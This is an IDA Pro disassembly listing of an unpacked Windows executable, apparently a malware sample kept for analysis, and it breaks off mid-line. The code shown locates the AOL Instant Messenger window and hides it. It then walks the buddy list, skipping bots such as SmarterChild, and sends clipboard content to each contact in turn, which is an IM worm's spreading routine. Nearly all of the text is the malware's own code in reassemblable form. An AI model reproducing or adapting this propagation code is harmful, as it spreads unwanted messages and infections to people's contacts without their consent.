; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : B13086DC42651A395907698D739FA46B ; File Name : u:\work\b13086dc42651a395907698d739fa46b_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00039000 ( 233472.) ; Section size in file : 00039000 ( 233472.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_40C38F+25p ; sub_41B9F9+25p ... mov eax, offset loc_427A01 call sub_41E550 push ecx push esi mov esi, ecx mov [ebp-10h], esi call sub_41C7BD and dword ptr [ebp-4], 0 push dword ptr [ebp+8] lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_42946C call sub_4017F2 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_40103C proc near ; CODE XREF: .text:0040106Ap ; sub_401083+6j ... push esi mov esi, ecx push 0 push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_42946C call sub_4019B1 mov ecx, esi pop esi jmp sub_41C855 sub_40103C endp ; =============== S U B R O U T I N E ======================================= sub_401059 proc near ; DATA XREF: .text:00429470o ; .text:0042947Co ... cmp dword ptr [ecx+24h], 10h jb short loc_401063 mov eax, [ecx+10h] retn ; --------------------------------------------------------------------------- loc_401063: ; CODE XREF: sub_401059+4j lea eax, [ecx+10h] retn sub_401059 endp ; --------------------------------------------------------------------------- loc_401067: ; DATA XREF: .text:off_42946Co push esi mov esi, ecx call sub_40103C test byte ptr [esp+8], 1 jz short loc_40107D push esi call sub_41C7B8 pop ecx loc_40107D: ; CODE XREF: .text:00401074j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_401083 proc near ; CODE XREF: .text:00401091p ; DATA XREF: .text:00431190o mov dword ptr [ecx], offset off_429478 jmp sub_40103C sub_401083 endp ; --------------------------------------------------------------------------- loc_40108E: ; DATA XREF: .text:off_429478o push esi mov esi, ecx call sub_401083 test byte ptr [esp+8], 1 jz short loc_4010A4 push esi call sub_41C7B8 pop ecx loc_4010A4: ; CODE XREF: .text:0040109Bj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010AA proc near ; DATA XREF: sub_4010FE:loc_401135o var_8 = byte ptr -8 push ebp mov ebp, esp push ecx push ecx push esi xor esi, esi call ds:dword_429094 ; GetThreadLocale push 7 lea ecx, [ebp+var_8] push ecx push 1004h push eax call ds:dword_42907C ; GetLocaleInfoA test eax, eax jz short loc_4010ED mov cl, [ebp+var_8] test cl, cl lea eax, [ebp+var_8] jz short loc_4010ED loc_4010D8: ; CODE XREF: sub_4010AA+3Dj movsx ecx, cl lea edx, [esi+esi*4] inc eax lea esi, [ecx+edx*2-30h] mov cl, [eax] test cl, cl jnz short loc_4010D8 test esi, esi jnz short loc_4010F5 loc_4010ED: ; CODE XREF: sub_4010AA+22j ; sub_4010AA+2Cj call ds:dword_429088 ; GetACP mov esi, eax loc_4010F5: ; CODE XREF: sub_4010AA+41j mov eax, esi pop esi leave retn sub_4010AA endp ; =============== S U B R O U T I N E ======================================= sub_4010FA proc near ; DATA XREF: sub_4010FE+30o push 3 pop eax retn sub_4010FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010FE proc near ; CODE XREF: sub_4010FE+48p ; sub_409538+14p ; DATA XREF: ... var_94 = dword ptr -94h var_90 = dword ptr -90h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push eax mov [ebp+var_94], 94h call ds:dword_42909C ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_401135 cmp [ebp+var_90], 5 mov eax, offset sub_4010FA jnb short loc_40113A loc_401135: ; CODE XREF: sub_4010FE+27j mov eax, offset sub_4010AA loc_40113A: ; CODE XREF: sub_4010FE+35j push eax push offset off_434144 call ds:dword_429090 ; InterlockedExchange call ds:off_434144 leave retn sub_4010FE endp ; =============== S U B R O U T I N E ======================================= sub_40114E proc near ; CODE XREF: sub_41BB77+6p push esi push 18h mov esi, ecx push 0 push esi call sub_41C6D0 add esp, 0Ch mov eax, esi pop esi retn sub_40114E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401162 proc near ; CODE XREF: sub_41BBA7+8Bp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_430D18 call __SEH_prolog xor esi, esi mov [ebp+ms_exc.disabled], esi push ecx call ds:dword_429080 ; InitializeCriticalSection jmp short loc_4011A6 ; --------------------------------------------------------------------------- loc_40117C: ; DATA XREF: .text:stru_430D18o mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_1C], eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40118A: ; DATA XREF: .text:stru_430D18o mov esp, [ebp+ms_exc.old_esp] xor eax, eax cmp [ebp+var_1C], 0C0000017h setnz al dec eax and eax, 6C009h add eax, 80004005h mov esi, eax loc_4011A6: ; CODE XREF: sub_401162+18j or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, esi call __SEH_epilog retn sub_401162 endp ; =============== S U B R O U T I N E ======================================= sub_4011B2 proc near ; CODE XREF: sub_4011D1+4p ; sub_401236+7p push esi push 0 push offset a_oscar_statusn ; "_Oscar_StatusNotify" call ds:dword_42920C ; FindWindowA mov esi, eax push esi call ds:dword_429210 ; IsWindow neg eax sbb eax, eax and eax, esi pop esi retn sub_4011B2 endp ; =============== S U B R O U T I N E ======================================= sub_4011D1 proc near ; CODE XREF: sub_4016AD:loc_401700p push ebx push ebp push esi push edi call sub_4011B2 xor ebp, ebp cmp eax, ebp jz short loc_40122B push ebp push 4E23h push 111h push eax call ds:dword_429260 ; SendMessageA mov ebx, ds:dword_42925C mov edi, ds:dword_429210 xor esi, esi loc_401200: ; CODE XREF: sub_4011D1+58j push ebp push offset a32770 ; "#32770" push esi push ebp call ebx ; FindWindowExA mov esi, eax push esi call edi ; IsWindow test eax, eax jz short loc_401224 push ebp push offset a_aimad ; "_AimAd" push ebp push esi call ebx ; FindWindowExA push eax call edi ; IsWindow test eax, eax jnz short loc_401232 loc_401224: ; CODE XREF: sub_4011D1+40j push esi call edi ; IsWindow test eax, eax jnz short loc_401200 loc_40122B: ; CODE XREF: sub_4011D1+Dj xor eax, eax loc_40122D: ; CODE XREF: sub_4011D1+63j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_401232: ; CODE XREF: sub_4011D1+51j mov eax, esi jmp short loc_40122D sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= sub_401236 proc near ; CODE XREF: sub_4016AD+EFp ; sub_40F578+2Fp var_108 = dword ptr -108h var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 10Ch push esi call sub_4011B2 xor esi, esi cmp eax, esi jz loc_4013E4 push ebx mov ebx, ds:dword_429260 push ebp push edi push esi push 4E20h push 111h push eax call ebx ; SendMessageA mov ebp, ds:dword_42925C push esi push offset aAim_imessage ; "AIM_IMessage" push esi push esi call ebp ; FindWindowExA mov edi, ds:dword_429210 push eax mov [esp+120h+var_108], eax call edi ; IsWindow test eax, eax jz loc_4013CC loc_401288: ; CODE XREF: sub_401236+8Cj push 0 push offset a_oscar_persist ; "_Oscar_PersistantCombo" push esi push [esp+128h+var_108] call ebp ; FindWindowExA mov esi, eax push esi call edi ; IsWindow test eax, eax jz short loc_4012BD push [esp+118h+arg_4] push 0 push 14Ah push esi call ebx ; SendMessageA push 0 push eax push 14Eh push esi call ebx ; SendMessageA xor esi, esi loc_4012BD: ; CODE XREF: sub_401236+67j push esi call edi ; IsWindow test eax, eax jnz short loc_401288 loc_4012C4: ; CODE XREF: sub_401236+190j push 0 push offset aWndate32class ; "WndAte32Class" push esi push [esp+128h+var_108] call ebp ; FindWindowExA mov esi, eax push esi call edi ; IsWindow test eax, eax jz loc_4013C1 push 0 push offset aCbclass ; "CBClass" push 0 push esi call ebp ; FindWindowExA push eax call edi ; IsWindow test eax, eax jz loc_4013C1 push 0 push offset aAte32class ; "Ate32Class" push 0 push esi call ebp ; FindWindowExA mov [esp+118h+var_100], eax lea eax, [esp+118h+var_108] push eax call sub_40472B push 1 push 1 mov esi, 100h lea edi, [esp+120h+var_FC] call sub_404740 push offset aAolmail ; "AOLMAIL" mov [esp+11Ch+var_108], eax call ds:dword_429244 ; RegisterClipboardFormatA push [esp+118h+arg_8] mov esi, eax call sub_41C350 pop ecx inc eax push eax push [esp+11Ch+arg_8] push esi call sub_404793 mov edi, ds:dword_429240 call edi ; CloseClipboard push 0 push 24Fh mov esi, 111h push esi push [esp+124h+var_100] call ebx ; SendMessageA push 0 push 10259h push esi push [esp+124h+var_100] call ebx ; SendMessageA xor esi, esi push esi call ds:dword_429250 ; OpenClipboard cmp [esp+118h+var_108], esi jz short loc_4013B3 push offset aAolmail ; "AOLMAIL" call ds:dword_429244 ; RegisterClipboardFormatA mov [esp+118h+var_108], eax lea eax, [esp+118h+var_FC] push eax call sub_41C350 pop ecx inc eax push eax lea eax, [esp+11Ch+var_FC] push eax push [esp+120h+var_108] call sub_404793 jmp short loc_4013B9 ; --------------------------------------------------------------------------- loc_4013B3: ; CODE XREF: sub_401236+14Fj call ds:dword_42924C ; EmptyClipboard loc_4013B9: ; CODE XREF: sub_401236+17Bj call edi ; CloseClipboard mov edi, ds:dword_429210 loc_4013C1: ; CODE XREF: sub_401236+A3j ; sub_401236+BAj push esi call edi ; IsWindow test eax, eax jnz loc_4012C4 loc_4013CC: ; CODE XREF: sub_401236+4Cj xor eax, eax cmp [esp+11Ch+arg_8], eax jz short loc_4013E1 push eax push eax push 10h push [esp+128h+var_108] call ebx ; SendMessageA loc_4013E1: ; CODE XREF: sub_401236+19Fj pop edi pop ebp pop ebx loc_4013E4: ; CODE XREF: sub_401236+10j pop esi add esp, 10Ch retn sub_401236 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_4016AD+7Cp mov eax, offset loc_427CC6 call sub_41E550 sub esp, 188h push ebx xor ebx, ebx push esi push edi mov [ebp-28h], ebx mov [ebp-34h], ebx mov [ebp-30h], ebx mov [ebp-2Ch], ebx push 100h lea eax, [ebp-194h] push eax push dword ptr [ebp+0Ch] mov [ebp-4], ebx call ds:dword_429264 ; GetWindowTextA lea eax, [ebp-194h] push 27h push eax call sub_41C8A0 mov esi, ds:dword_42925C pop ecx pop ecx push ebx push offset a32770 ; "#32770" push ebx push dword ptr [ebp+0Ch] mov [eax], bl call esi ; FindWindowExA push ebx push offset a_oscar_tree ; "_Oscar_Tree" push ebx push eax call esi ; FindWindowExA mov edi, eax push edi call ds:dword_429210 ; IsWindow test eax, eax jz loc_40164D mov esi, ds:dword_429260 push ebx push ebx push 18Bh push edi call esi ; SendMessageA or dword ptr [ebp-10h], 0FFFFFFFFh cmp eax, 0FFFFFFFFh mov [ebp-18h], eax jle short loc_4014AD loc_401480: ; CODE XREF: sub_4013EC+BFj inc dword ptr [ebp-10h] push ebx push dword ptr [ebp-10h] push 186h push edi call esi ; SendMessageA push ebx push 25h loc_401492: ; DATA XREF: .text:off_4348D8o push 100h push edi call esi ; SendMessageA push ebx push 25h push 101h push edi call esi ; SendMessageA mov eax, [ebp-18h] cmp [ebp-10h], eax jl short loc_401480 loc_4014AD: ; CODE XREF: sub_4013EC+92j push ebx push ebx push 18Bh push edi call esi ; SendMessageA lea ecx, [eax-2] cmp ecx, ebx mov [ebp-10h], ecx jl loc_40164D or dword ptr [ebp-24h], 0FFFFFFFFh sub [ebp-24h], eax loc_4014CC: ; CODE XREF: sub_4013EC+25Bj push ebx push dword ptr [ebp-10h] push 186h push edi call esi ; SendMessageA push ebx push 27h push 100h push edi call esi ; SendMessageA push ebx push 27h push 101h push edi call esi ; SendMessageA push ebx push ebx push 18Bh push edi call esi ; SendMessageA mov ecx, eax add ecx, [ebp-24h] mov eax, [ebp-10h] lea ecx, [ecx+eax+1] lea edx, [eax+1] cmp edx, ecx mov [ebp-28h], ecx mov [ebp-14h], edx jg loc_40163A loc_401515: ; CODE XREF: sub_4013EC+245j push ebx push dword ptr [ebp-14h] push 186h push edi call esi ; SendMessageA lea eax, [ebp-78h] push eax push dword ptr [ebp-14h] push 189h push edi call esi ; SendMessageA lea eax, [ebp-38h] mov [ebp-18h], ebx mov [ebp-1Ch], ebx call sub_4018AC test eax, eax jbe short loc_401585 mov eax, [ebp-34h] add eax, 4 mov [ebp-20h], eax jmp short loc_401550 ; --------------------------------------------------------------------------- loc_40154D: ; CODE XREF: sub_4013EC+18Ej mov eax, [ebp-20h] loc_401550: ; CODE XREF: sub_4013EC+15Fj cmp dword ptr [eax+14h], 10h jb short loc_401558 mov eax, [eax] loc_401558: ; CODE XREF: sub_4013EC+168j push eax lea eax, [ebp-78h] push eax call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_40157E inc dword ptr [ebp-1Ch] add dword ptr [ebp-20h], 1Ch lea eax, [ebp-38h] call sub_4018AC cmp [ebp-1Ch], eax jb short loc_40154D jmp short loc_401585 ; --------------------------------------------------------------------------- loc_40157E: ; CODE XREF: sub_4013EC+17Aj mov dword ptr [ebp-18h], 1 loc_401585: ; CODE XREF: sub_4013EC+154j ; sub_4013EC+190j lea eax, [ebp-78h] push 28h push eax call sub_41C3F0 test eax, eax pop ecx pop ecx jnz loc_401628 cmp [ebp-18h], ebx jnz loc_401628 lea eax, [ebp-78h] push offset aMoviefone ; "Moviefone" push eax call sub_426D1E test eax, eax pop ecx pop ecx jz short loc_401628 lea eax, [ebp-78h] push offset aShoppingbuddy ; "ShoppingBuddy" push eax call sub_426D1E test eax, eax pop ecx pop ecx jz short loc_401628 lea eax, [ebp-78h] push offset aSmarterchild ; "SmarterChild" push eax call sub_426D1E test eax, eax pop ecx pop ecx jz short loc_401628 lea eax, [ebp-194h] push eax lea eax, [ebp-78h] push eax call sub_426D1E test eax, eax pop ecx pop ecx jz short loc_401628 lea eax, [ebp-78h] push eax lea ecx, [ebp-94h] call sub_401818 lea eax, [ebp-94h] push eax lea eax, [ebp-38h] mov byte ptr [ebp-4], 1 call sub_4018C2 push ebx push 1 lea ecx, [ebp-94h] mov [ebp-4], bl call sub_4019B1 loc_401628: ; CODE XREF: sub_4013EC+1A8j ; sub_4013EC+1B1j ... inc dword ptr [ebp-14h] mov eax, [ebp-14h] cmp eax, [ebp-28h] jle loc_401515 mov eax, [ebp-10h] loc_40163A: ; CODE XREF: sub_4013EC+123j push ebx push eax push 186h push edi call esi ; SendMessageA dec dword ptr [ebp-10h] jns loc_4014CC loc_40164D: ; CODE XREF: sub_4013EC+72j ; sub_4013EC+D3j push dword ptr [ebp+8] lea ecx, [ebp-38h] call sub_401844 lea esi, [ebp-38h] call sub_401A89 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= sub_401672 proc near ; CODE XREF: sub_4017D5+17p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, eax and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh push 200h push [esp+8+arg_0] lea eax, [esi+10h] push eax mov dword ptr [esi], offset off_42A9C4 call sub_41C5A0 mov eax, [esp+10h+arg_4] add esp, 0Ch mov [esi+210h], eax call sub_416AC4 mov eax, esi pop esi retn 8 sub_401672 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016AD proc near ; DATA XREF: .text:off_42A9C4o var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 30h push ebx push esi mov esi, offset dword_438140 push edi mov eax, esi mov edi, ecx call sub_416B68 mov ecx, [edi+210h] xor ebx, ebx cmp edx, ebx mov ebx, ds:dword_429084 ja short loc_401700 jb short loc_4016DC cmp eax, ecx jnb short loc_401700 loc_4016DC: ; CODE XREF: sub_4016AD+29j ; sub_4016AD+4Aj ... push 3E8h call ebx ; Sleep mov eax, esi call sub_416B68 mov ecx, [edi+210h] mov [ebp+var_10], eax xor eax, eax cmp edx, eax jb short loc_4016DC ja short loc_401700 cmp [ebp+var_10], ecx jb short loc_4016DC loc_401700: ; CODE XREF: sub_4016AD+27j ; sub_4016AD+2Dj ... call sub_4011D1 push eax mov [ebp+var_C], eax call ds:dword_429210 ; IsWindow test eax, eax jz loc_4017D0 push 0 push [ebp+var_C] call ds:dword_429214 ; ShowWindow push [ebp+var_C] lea eax, [ebp+var_30] push eax call sub_4013EC and [ebp+var_8], 0 pop ecx pop ecx lea eax, [ebp+var_30] call sub_4018AC test eax, eax jbe short loc_4017BF mov eax, [ebp+var_2C] add eax, 4 mov [ebp+var_4], eax loc_401749: ; CODE XREF: sub_4016AD+110j mov eax, esi call sub_416B68 mov ecx, [edi+210h] mov [ebp+var_18], eax xor eax, eax cmp edx, eax ja short loc_40178A jb short loc_401766 cmp [ebp+var_18], ecx jnb short loc_40178A loc_401766: ; CODE XREF: sub_4016AD+B2j ; sub_4016AD+D4j ... push 3E8h call ebx ; Sleep mov eax, esi call sub_416B68 mov ecx, [edi+210h] mov [ebp+var_20], eax xor eax, eax cmp edx, eax jb short loc_401766 ja short loc_40178A cmp [ebp+var_20], ecx jb short loc_401766 loc_40178A: ; CODE XREF: sub_4016AD+B0j ; sub_4016AD+B7j ... mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 10h jb short loc_401795 mov ecx, [ecx] loc_401795: ; CODE XREF: sub_4016AD+E4j push 1 lea eax, [edi+10h] push eax push ecx call sub_401236 add esp, 0Ch push 1388h call ebx ; Sleep inc [ebp+var_8] add [ebp+var_4], 1Ch lea eax, [ebp+var_30] call sub_4018AC cmp [ebp+var_8], eax jb short loc_401749 loc_4017BF: ; CODE XREF: sub_4016AD+91j push [ebp+var_C] call ds:dword_429258 ; DestroyWindow lea esi, [ebp+var_30] call sub_401A89 loc_4017D0: ; CODE XREF: sub_4016AD+64j pop edi pop esi pop ebx leave retn sub_4016AD endp ; =============== S U B R O U T I N E ======================================= sub_4017D5 proc near ; CODE XREF: .text:0040F5EBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 214h call sub_41BA91 test eax, eax pop ecx jz short locret_4017F1 push [esp+arg_4] push [esp+4+arg_0] call sub_401672 locret_4017F1: ; CODE XREF: sub_4017D5+Dj retn sub_4017D5 endp ; =============== S U B R O U T I N E ======================================= sub_4017F2 proc near ; CODE XREF: sub_401000+26p ; sub_401C28+1Fp ... arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_401BAE push 0FFFFFFFFh push 0 push [esp+0Ch+arg_0] mov ecx, esi call sub_401905 mov eax, esi pop esi retn 4 sub_4017F2 endp ; =============== S U B R O U T I N E ======================================= sub_401818 proc near ; CODE XREF: sub_4013EC+213p ; sub_409729+122p ... arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_401BAE push [esp+4+arg_0] mov ecx, esi call sub_401994 mov eax, esi pop esi retn 4 sub_401818 endp ; --------------------------------------------------------------------------- loc_40183A: ; CODE XREF: .text:0042790Dj ; .text:00427C88j ... push 0 push 1 call sub_4019B1 retn ; =============== S U B R O U T I N E ======================================= sub_401844 proc near ; CODE XREF: sub_4013EC+267p ; sub_409729+171p mov eax, offset loc_427CA9 call sub_41E550 push ecx push ebx push esi mov esi, [ebp+8] push edi mov edi, ecx mov eax, edi mov [ebp-10h], esp call sub_4018AC call sub_401A4D test al, al jz short loc_401882 and dword ptr [ebp-4], 0 push dword ptr [esi+4] mov eax, [edi+8] mov edi, [edi+4] push eax push edi push esi call sub_401FAA mov [esi+8], eax loc_401882: ; CODE XREF: sub_401844+24j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_401844 endp ; =============== S U B R O U T I N E ======================================= sub_401895 proc near ; DATA XREF: .text:00431B48o mov esi, [ebp+8] call sub_401A89 push 0 push 0 call sub_41E4BE int 3 ; Trap to Debugger loc_4018A7: ; CODE XREF: .text:00427CB6j ; .text:00427D59j ... jmp sub_401A89 sub_401895 endp ; =============== S U B R O U T I N E ======================================= sub_4018AC proc near ; CODE XREF: sub_4013EC+14Dp ; sub_4013EC+186p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_4018B6 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4018B6: ; CODE XREF: sub_4018AC+5j mov eax, [eax+8] sub eax, ecx push 1Ch cdq pop ecx idiv ecx retn sub_4018AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018C2 proc near ; CODE XREF: sub_4013EC+226p ; sub_409729+132p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, eax call sub_4019FA mov esi, eax mov eax, edi call sub_4018AC cmp eax, esi jnb short loc_4018EE push [ebp+arg_0] push 1 push dword ptr [edi+8] push edi call sub_401AAF mov [edi+8], eax jmp short loc_4018FF ; --------------------------------------------------------------------------- loc_4018EE: ; CODE XREF: sub_4018C2+17j mov eax, [edi+8] push ebx push [ebp+arg_0] lea ebx, [ebp+arg_0] push eax call sub_401A10 pop ebx loc_4018FF: ; CODE XREF: sub_4018C2+2Aj pop edi pop esi pop ebp retn 4 sub_4018C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401905 proc near ; CODE XREF: sub_4017F2+1Bp ; sub_401AD3+2Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx push esi push edi mov edi, [ebp+arg_0] cmp [edi+14h], eax mov ebx, ecx jnb short loc_40191D call sub_41B9F9 loc_40191D: ; CODE XREF: sub_401905+11j mov esi, [edi+14h] mov eax, [ebp+arg_4] sub esi, eax cmp [ebp+arg_8], esi jnb short loc_40192D mov esi, [ebp+arg_8] loc_40192D: ; CODE XREF: sub_401905+23j cmp ebx, edi mov ecx, ebx jnz short loc_40194B push 0FFFFFFFFh add esi, eax push esi call sub_401B42 push [ebp+arg_4] mov ecx, ebx push 0 call sub_401B42 jmp short loc_40198B ; --------------------------------------------------------------------------- loc_40194B: ; CODE XREF: sub_401905+2Cj push 0 push esi call sub_401BCA test al, al jz short loc_40198B cmp dword ptr [edi+18h], 10h jb short loc_401962 mov edi, [edi+4] jmp short loc_401965 ; --------------------------------------------------------------------------- loc_401962: ; CODE XREF: sub_401905+56j add edi, 4 loc_401965: ; CODE XREF: sub_401905+5Bj cmp dword ptr [ebx+18h], 10h jb short loc_401970 mov eax, [ebx+4] jmp short loc_401973 ; --------------------------------------------------------------------------- loc_401970: ; CODE XREF: sub_401905+64j lea eax, [ebx+4] loc_401973: ; CODE XREF: sub_401905+69j mov ecx, [ebp+arg_4] push esi add edi, ecx push edi push eax call sub_41BC60 add esp, 0Ch push esi mov ecx, ebx call sub_401BAE loc_40198B: ; CODE XREF: sub_401905+44j ; sub_401905+50j pop edi pop esi mov eax, ebx pop ebx pop ebp retn 0Ch sub_401905 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401994 proc near ; CODE XREF: sub_401818+17p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_41C350 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_401AD3 pop esi retn 4 sub_401994 endp ; =============== S U B R O U T I N E ======================================= sub_4019B1 proc near ; CODE XREF: sub_40103C+10p ; sub_4013EC+237p ... arg_0 = byte ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_4019E4 cmp dword ptr [esi+18h], 10h jb short loc_4019E4 cmp [esp+4+arg_4], 0 lea eax, [esi+4] push edi mov edi, [eax] jbe short loc_4019DC push [esp+8+arg_4] push edi push eax call sub_41BC60 add esp, 0Ch loc_4019DC: ; CODE XREF: sub_4019B1+1Bj push edi call sub_41C7B8 pop ecx pop edi loc_4019E4: ; CODE XREF: sub_4019B1+8j ; sub_4019B1+Ej push [esp+4+arg_4] mov ecx, esi mov dword ptr [esi+18h], 0Fh call sub_401BAE pop esi retn 8 sub_4019B1 endp ; =============== S U B R O U T I N E ======================================= sub_4019FA proc near ; CODE XREF: sub_4018C2+7p ; sub_401C28+2Ap mov ecx, [eax+4] test ecx, ecx jnz short loc_401A04 xor eax, eax retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_4019FA+5j mov eax, [eax+0Ch] sub eax, ecx push 1Ch cdq pop ecx idiv ecx retn sub_4019FA endp ; =============== S U B R O U T I N E ======================================= sub_401A10 proc near ; CODE XREF: sub_4018C2+37p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov eax, edi call sub_4018AC test eax, eax jnz short loc_401A20 xor esi, esi jmp short loc_401A2F ; --------------------------------------------------------------------------- loc_401A20: ; CODE XREF: sub_401A10+Aj mov eax, [esp+4+arg_0] sub eax, [edi+4] push 1Ch cdq pop ecx idiv ecx mov esi, eax loc_401A2F: ; CODE XREF: sub_401A10+Ej push [esp+4+arg_4] push 1 push [esp+0Ch+arg_0] push edi call sub_401C28 imul esi, 1Ch add esi, [edi+4] mov eax, ebx mov [ebx], esi pop esi retn 8 sub_401A10 endp ; =============== S U B R O U T I N E ======================================= sub_401A4D proc near ; CODE XREF: sub_401844+1Dp push edi mov edi, eax xor eax, eax cmp edi, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax jnz short loc_401A63 xor al, al pop edi retn ; --------------------------------------------------------------------------- loc_401A63: ; CODE XREF: sub_401A4D+10j cmp edi, 9249249h jbe short loc_401A70 jmp sub_40C38F ; --------------------------------------------------------------------------- loc_401A70: ; CODE XREF: sub_401A4D+1Cj imul edi, 1Ch push edi call sub_41BA91 add edi, eax pop ecx mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], edi mov al, 1 pop edi retn sub_401A4D endp ; =============== S U B R O U T I N E ======================================= sub_401A89 proc near ; CODE XREF: sub_4013EC+26Fp ; sub_4016AD+11Ep ... mov eax, [esi+4] test eax, eax jz short loc_401AA2 push dword ptr [esi+8] call sub_401FDF push dword ptr [esi+4] call sub_41C7B8 pop ecx pop ecx loc_401AA2: ; CODE XREF: sub_401A89+5j and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 retn sub_401A89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AAF proc near ; CODE XREF: sub_4018C2+22p ; sub_401C28+BDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_0] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_401FC5 mov eax, [ebp+arg_8] imul eax, 1Ch add esp, 10h add eax, [ebp+arg_4] pop ebp retn 10h sub_401AAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AD3 proc near ; CODE XREF: sub_401994+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] push edi mov esi, ecx call sub_401F76 test al, al jz short loc_401B05 cmp dword ptr [esi+18h], 10h jb short loc_401AF2 mov eax, [esi+4] jmp short loc_401AF5 ; --------------------------------------------------------------------------- loc_401AF2: ; CODE XREF: sub_401AD3+18j lea eax, [esi+4] loc_401AF5: ; CODE XREF: sub_401AD3+1Dj push [ebp+arg_4] sub edi, eax push edi push esi mov ecx, esi call sub_401905 jmp short loc_401B3C ; --------------------------------------------------------------------------- loc_401B05: ; CODE XREF: sub_401AD3+12j push 0 push [ebp+arg_4] mov ecx, esi call sub_401BCA test al, al jz short loc_401B3A cmp dword ptr [esi+18h], 10h jb short loc_401B20 mov eax, [esi+4] jmp short loc_401B23 ; --------------------------------------------------------------------------- loc_401B20: ; CODE XREF: sub_401AD3+46j lea eax, [esi+4] loc_401B23: ; CODE XREF: sub_401AD3+4Bj push [ebp+arg_4] push edi push eax call sub_41BC60 add esp, 0Ch push [ebp+arg_4] mov ecx, esi call sub_401BAE loc_401B3A: ; CODE XREF: sub_401AD3+40j mov eax, esi loc_401B3C: ; CODE XREF: sub_401AD3+30j pop edi pop esi pop ebp retn 8 sub_401AD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B42 proc near ; CODE XREF: sub_401905+33p ; sub_401905+3Fp arg_0 = dword ptr 8 arg_4 = dword 